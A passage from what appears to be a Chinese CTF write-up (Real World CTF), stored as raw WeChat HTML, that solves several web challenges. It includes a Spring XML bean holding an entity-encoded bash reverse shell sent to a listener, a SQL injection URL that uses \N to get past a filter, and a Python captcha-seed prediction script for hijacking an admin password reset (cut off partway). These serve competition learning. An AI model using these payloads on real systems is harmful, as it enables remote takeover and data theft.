JUU3JTlBJTg0JTIwdmFsdWUlMjAlRTYlOTglQUYlMjBodG1sJTIwZW50aXR5JTIwJUU3JUJDJTk2JUU3JUEwJTgxJUU1JTkwJThFJUU3JTlBJTg0JUVGJUJDJThDJUU1JThGJUFGJUU0JUJCJUE1JUU4JUE3JUEzJUU3JUEwJTgxJUU1JTkwJThFJUU2JTlCJUJGJUU2JThEJUEyJUU0JUI4JUJBJUU2JThFJUE1JUU1JThGJTk3JTIwc2hlbGwlMjAlRTclOUElODQlMjBpcCUyMCVFNSU5MiU4QyVFNyVBQiVBRiVFNSU4RiVBMyVFNSU4RCVCMyVFNSU4RiVBRiVFNiU5NCVCNiVFNSU4OCVCMCVFNSU4RiU4RCVFNSVCQyVCOXNoZWxsJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMm1hcmslMjIlMkMlMjJ0eXBlJTIyJTNBJTIyc3olMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTIydmFsdWUlMjIlM0ExMiUyQyUyMnN6VW5pdCUyMiUzQSUyMnB0JTIyJTdEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">然后在恶意服务器上分别启动一个 nc 用来收反弹 shell，另一个启动 http 服务用来提供 xml，注意下面的 value 是 html entity 编码后的，可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell</span></p></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;h4&#39;,{&#39;uuid&#39;:&#39;lrx7a9dibu9emzur2qm&#39;,&#39;spacing&#39;:{&#39;before&#39;:16,&#39;after&#39;:12,&#39;line&#39;:0.8529411764705882}},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;sz&#39;:12,&#39;szUnit&#39;:&#39;pt&#39;,&#39;data-type&#39;:&#39;leaf&#39;},&#39;提供的 xml 如下&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7ayl3ssn7j9hgx8&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;注意需要修改实体编码中的localhost为你的接收端主机&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIyaGVhZGluZy00JTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3YTlkaWJ1OWVtenVyMnFtJTIyJTJDJTIyc3BhY2luZyUyMiUzQSU3QiUyMmJlZm9yZSUyMiUzQTE2JTJDJTIyYWZ0ZXIlMjIlM0ExMiUyQyUyMmxpbmUlMjIlM0EwLjg1Mjk0MTE3NjQ3MDU4ODIlN0QlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTYlOEYlOTAlRTQlQkUlOUIlRTclOUElODQlMjB4bWwlMjAlRTUlQTYlODIlRTQlQjglOEIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJib2xkJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIybWFyayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJzeiUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ2YWx1ZSUyMiUzQTEyJTJDJTIyc3pVbml0JTIyJTNBJTIycHQlMjIlN0QlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlMjJ1dWlkJTIyJTNBJTIybHJ4N2F5bDNzc243ajloZ3g4JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JUIzJUE4JUU2JTg0JThGJUU5JTlDJTgwJUU4JUE2JTgxJUU0JUJGJUFFJUU2JTk0JUI5JUU1JUFFJTlFJUU0JUJEJTkzJUU3JUJDJTk2JUU3JUEwJTgxJUU0JUI4JUFEJUU3JTlBJTg0bG9jYWxob3N0JUU0JUI4JUJBJUU0JUJEJUEwJUU3JTlBJTg0JUU2JThFJUE1JUU2JTk0JUI2JUU3JUFCJUFGJUU0JUI4JUJCJUU2JTlDJUJBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><h4 style="margin-top: 16px;margin-bottom: 12px;line-height: 13.6px;"><span style="font-size: 15px;color: rgb(122, 194, 89);"><strong>提供的 xml 如下</strong></span></h4><p><span style="font-size: 15px;">注意需要修改实体编码中的localhost为你的接收端主机</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span style="color: rgb(175, 175, 175);">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">&lt;beans xmlns=<span style="color: rgb(221, 17, 68);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span></span></span></code><code><span class="code-snippet_outer">  xmlns:xsi=<span style="color: rgb(221, 17, 68);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></span></code><code><span class="code-snippet_outer">  xsi:schemaLocation=<span style="color: rgb(221, 17, 68);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a> <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">  <span style="color: rgb(14, 156, 229);">&lt;bean id=<span style="color: rgb(221, 17, 68);">&#34;pb&#34;</span> class=<span style="color: rgb(221, 17, 68);">&#34;java.lang.ProcessBuilder&#34;</span> init-method=<span style="color: rgb(221, 17, 68);">&#34;start&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;constructor-arg&gt;</span></span></code><code><span class="code-snippet_outer">      <span style="color: rgb(14, 156, 229);">&lt;list&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;value&gt;</span>/bin/bash<span style="color: rgb(14, 156, 229);">&lt;/value&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;value&gt;</span>-c<span style="color: rgb(14, 156, 229);">&lt;/value&gt;</span></span></code><code><span class="code-snippet_outer">        <span style="color: rgb(14, 156, 229);">&lt;value&gt;</span></span></code><code><span class="code-snippet_outer">&amp;#x2f;&amp;#x62;&amp;#x69;&amp;#x6e;&amp;#x2f;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x68;&amp;#x20;&amp;#x2d;&amp;#x69;&amp;#x20;&amp;#x3e;&amp;#x26;&amp;#x20;&amp;#x2f;&amp;#x64;&amp;#x65;&amp;#x76;&amp;#x2f;&amp;#x74;&amp;#x63;&amp;#x70;&amp;#x2f;&amp;#x6c;&amp;#x6f;&amp;#x63;&amp;#x61;&amp;#x6c;&amp;#x68;&amp;#x6f;&amp;#x73;&amp;#x74;&amp;#x2f;&amp;#x39;&amp;#x39;&amp;#x39;&amp;#x39;&amp;#x20;&amp;#x30;&amp;#x3e;&amp;#x26;&amp;#x31;</span></code><code><span class="code-snippet_outer">          <span style="color: rgb(14, 156, 229);">&lt;/value&gt;</span></span></code><code><span class="code-snippet_outer">      <span style="color: rgb(14, 156, 229);">&lt;/list&gt;</span></span></code><code><span class="code-snippet_outer">    <span style="color: rgb(14, 156, 229);">&lt;/constructor-arg&gt;</span></span></code><code><span class="code-snippet_outer">  <span style="color: rgb(14, 156, 229);">&lt;/bean&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">&lt;/beans&gt;</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7ckuc12z50lkdmek&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;远程收到shell，获取flag&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3Y2t1YzEyejUwbGtkbWVrJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JUJGJTlDJUU3JUE4JThCJUU2JTk0JUI2JUU1JTg4JUIwc2hlbGwlRUYlQkMlOEMlRTglOEUlQjclRTUlOEYlOTZmbGFnJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">远程收到shell，获取flag</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="382" data-backw="578" data-imgfileid="503903320" data-ratio="0.6609947643979057" data-s="300,640" data-type="png" data-w="764" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=5425a202&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4C7LQALaxOh6KKTMOJxHP6YqczWPC7SwgDOBrqdYtvIKzRWmINxIcveQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style=""><br/></p><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>05</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">YourSqlTrick</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3rbdn8x7geci82no&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3u6z544md3z4pbpd&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Clone-and-Pwn&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3uih5hi7oqtljbkf&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Baby&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3r3xkd4wxt56yj7e&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;由于提供了附件，可以使用如下命令在本地启动一个服务&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Web</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Baby</span></p><p><br/></p><p><span style="font-size: 15px;">使用</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> \N</span><span style="font-size: 15px;"> 的方法绕过内置过滤，读取</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> flag </span><span style="font-size: 15px;">表中的 </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">flag_value </span><span style="font-size: 15px;">字段：</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">/tags.php?/alias/aaaaaaa%27||+1=\Nunion+select+1,flag_value,3,4,5,6,7,8,0,10,11+from+flag+where+1=%271</span></code></pre></section><p><br/></p><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191"><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>06</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-a-Captcha-Guesser</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;"><span style="background-color: rgb(214, 214, 214);">Web</span>, <span style="background-color: rgb(214, 214, 214);">difficulty:Normal</span></span></p><p><br/></p><p><span style="font-size: 15px;">这个题目在首页提供了部分的源码，可以看出来是 django 的 wagtail 框架。主要是一个允许重置密码的功能，这里可以通过验证码得到其路由是<span style="background-color: rgb(214, 214, 214);">/captcha/image/566babcf709fa2482d8dec2b71fd930474c8b34c/</span>对此比较敏感的同学可以想到这个是一个 django 的验证码依赖 <span style="background-color: rgb(214, 214, 214);">django-simple-captcha</span></span></p><p><span style="font-size: 15px;">通过信息搜集可以知道管理员的邮箱是admin@rwctf.game，图片的 seed 为<span style="background-color: rgb(214, 214, 214);">566babcf709fa2482d8dec2b71fd930474c8b34c </span>，图片的 size 为 78 x 31</span></p></article><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="117" data-backw="578" data-imgfileid="503903321" data-ratio="0.20303030303030303" data-s="300,640" data-type="png" data-w="660" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=56a748a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4Cibt2icibO3tAgnCq7fn6HZQ93iaM3oaH5Q4fGEPwQa8th0tYDJSm4hfKsg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3rbdn8x7geci82no&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3u6z544md3z4pbpd&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Clone-and-Pwn&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;, &#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrx3uih5hi7oqtljbkf&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;difficulty:Baby&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx3r3xkd4wxt56yj7e&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;由于提供了附件，可以使用如下命令在本地启动一个服务&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxc9se4ffxjdupqyeg&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;这个题目可以看作是 Jumpserver&#39;]],[&#39;inlineCode&#39;,{&#39;uuid&#39;:&#39;lrxcak3auu6tqc409yn&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;CVE-2023-42820&#39;]]],[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;Lite 版本&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxcon2oquftplt9qjk&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;bold&#39;:true,&#39;data-type&#39;:&#39;leaf&#39;},&#39;ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改，将其改成图片的大小&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxce9ts0cm9u7jykn3l&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;命令如下&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;">这个题目可以看作是 Jumpserver</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">CVE-2023-42820</span><span style="font-size: 15px;">Lite 版本</span></p><p><span style="font-size: 15px;"><strong>ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改，将其改成图片的大小</strong></span></p><p><span style="font-size: 15px;">命令如下</span><br/></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span style="color: rgb(14, 156, 229);">python</span> .\run.py -t <a href="http://121.40.246.97:39968/" target="_blank">http://121.40.246.97:39968/</a> --name admin --email admin<span style="color: rgb(14, 156, 229);">@rwctf</span>.game --seed 566babcf709fa2482d8dec2b71fd930474c8b34c --cscookie 60D8JJuDvGCCauRifigL5ycFXR1NPPd3 --cstoken pWB0Zc9JkmV9KrLzEjDpG9KzUME1OkLYlM4YyLtcFSnBKLsHJrJ0BxM4HtvEtZOR</span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrxcee4x4x7mc4a7185&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;脚本:&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscnhjZWU0eDR4N21jNGE3MTg1JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU4JTg0JTlBJUU2JTlDJUFDJTNBJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;">脚本:</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">import logging</span></code><code><span class="code-snippet_outer">import sys</span></code><code><span class="code-snippet_outer">import random</span></code><code><span class="code-snippet_outer">import string</span></code><code><span class="code-snippet_outer">import argparse</span></code><code><span class="code-snippet_outer">from urllib.parse import urljoin</span></code><code><span class="code-snippet_outer">logging.basicConfig(stream=sys.stdout, level=logging.INFO, format=&#39;%(asctime)s - %(levelname)s - %(message)s&#39;)</span></code><code><span class="code-snippet_outer">string_punctuation = &#39;!#$%&amp;()*+,-.:;&lt;=&gt;?@[]^_~&#39;</span></code><code><span class="code-snippet_outer">import requests_html</span></code><code><span class="code-snippet_outer">import urllib3</span></code><code><span class="code-snippet_outer">urllib3.disable_warnings()</span></code><code><span class="code-snippet_outer">session = requests_html.HTMLSession()</span></code><code><span class="code-snippet_outer">session.headers = {</span></code><code><span class="code-snippet_outer">    &#34;Connection&#34;: &#34;close&#34;,</span></code><code><span class="code-snippet_outer">    &#34;Cache-Control&#34;: &#34;max-age=0&#34;,</span></code><code><span class="code-snippet_outer">    &#34;User-Agent&#34;: &#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.30 Safari/537.36&#34;,</span></code><code><span class="code-snippet_outer">    &#34;Accept-Encoding&#34;: &#34;deflate&#34;,</span></code><code><span class="code-snippet_outer">    &#34;Accept-Language&#34;: &#34;zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6&#34;,</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">session.verify = False</span></code><code><span class="code-snippet_outer">session.proxies =  {</span></code><code><span class="code-snippet_outer">    &#39;http&#39;:&#34;<a href="http://127.0.0.1:48080" target="_blank">http://127.0.0.1:48080</a>&#34;,</span></code><code><span class="code-snippet_outer">    &#39;https&#39;: &#34;<a href="http://127.0.0.1:48080" target="_blank">http://127.0.0.1:48080</a>&#34;,</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):</span></code><code><span class="code-snippet_outer">    args_names = [&#39;lower&#39;, &#39;upper&#39;, &#39;digit&#39;, &#39;special_char&#39;]</span></code><code><span class="code-snippet_outer">    args_values = [lower, upper, digit, special_char]</span></code><code><span class="code-snippet_outer">    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]</span></code><code><span class="code-snippet_outer">    args_string_map = dict(zip(args_names, args_string))</span></code><code><span class="code-snippet_outer">    kwargs = dict(zip(args_names, args_values))</span></code><code><span class="code-snippet_outer">    kwargs_keys = list(kwargs.keys())</span></code><code><span class="code-snippet_outer">    kwargs_values = list(kwargs.values())</span></code><code><span class="code-snippet_outer">    args_true_count = len([i for i in kwargs_values if i])</span></code><code><span class="code-snippet_outer">    assert any(kwargs_values), f&#39;Parameters {kwargs_keys} must have at least one `True`&#39;</span></code><code><span class="code-snippet_outer">    assert length &gt;= args_true_count, f&#39;Expected length &gt;= {args_true_count}, bug got {length}&#39;</span></code><code><span class="code-snippet_outer">    can_startswith_special_char = args_true_count == 1 and special_char</span></code><code><span class="code-snippet_outer">    chars = &#39;&#39;.join([args_string_map[k] for k, v in kwargs.items() if v])</span></code><code><span class="code-snippet_outer">    while True:</span></code><code><span class="code-snippet_outer">        password = list(random.choice(chars) for i in range(length))</span></code><code><span class="code-snippet_outer">        for k, v in kwargs.items():</span></code><code><span class="code-snippet_outer">            if v and not (set(password) &amp; set(args_string_map[k])):</span></code><code><span class="code-snippet_outer">                # 没有包含指定的字符, retry</span></code><code><span class="code-snippet_outer">                break</span></code><code><span class="code-snippet_outer">        else:</span></code><code><span class="code-snippet_outer">            if not can_startswith_special_char and password[0] in args_string_map[&#39;special_char&#39;]:</span></code><code><span class="code-snippet_outer">                # 首位不能为特殊字符, retry</span></code><code><span class="code-snippet_outer">                continue</span></code><code><span class="code-snippet_outer">            else:</span></code><code><span class="code-snippet_outer">                # 满足要求终止 while 循环</span></code><code><span class="code-snippet_outer">                break</span></code><code><span class="code-snippet_outer">    password = &#39;&#39;.join(password)</span></code><code><span class="code-snippet_outer">    return password</span></code><code><span class="code-snippet_outer">def nop_random(seed: str):</span></code><code><span class="code-snippet_outer">    CAPTCHA_IMAGE_SIZE = (78, 31) # Change This</span></code><code><span class="code-snippet_outer">    size = CAPTCHA_IMAGE_SIZE</span></code><code><span class="code-snippet_outer">    random.seed(seed)</span></code><code><span class="code-snippet_outer">    for i in range(4):</span></code><code><span class="code-snippet_outer">        random.randrange(-35, 35,1)</span></code><code><span class="code-snippet_outer">    for p in range(int(size[0] * size[1] * 0.1)):</span></code><code><span class="code-snippet_outer">        random.randint(0, size[0])</span></code><code><span class="code-snippet_outer">        random.randint(0, size[1])</span></code><code><span class="code-snippet_outer">def fix_seed(target: str, seed: str):</span></code><code><span class="code-snippet_outer">    def _request(i: int, u: str):</span></code><code><span class="code-snippet_outer">        logging.info(&#39;send %d request to %s&#39;, i, u)</span></code><code><span class="code-snippet_outer">        response = session.get(u, timeout=5)</span></code><code><span class="code-snippet_outer">        assert response.status_code == 200</span></code><code><span class="code-snippet_outer">        assert response.headers[&#39;Content-Type&#39;] == &#39;image/png&#39;</span></code><code><span class="code-snippet_outer">    url = urljoin(target, &#39;/captcha/image/&#39; + seed + &#39;/&#39;)</span></code><code><span class="code-snippet_outer">    for idx in range(0,1):</span></code><code><span class="code-snippet_outer">        _request(idx, url)</span></code><code><span class="code-snippet_outer">def send_code(target: str, name:str,email: str,args):</span></code><code><span class="code-snippet_outer">    url = urljoin(target, &#34;/reset-password/&#34; )</span></code><code><span class="code-snippet_outer">    session.headers[&#39;Cookie&#39;] =&#34;csrftoken=&#34;+args.cscookie</span></code><code><span 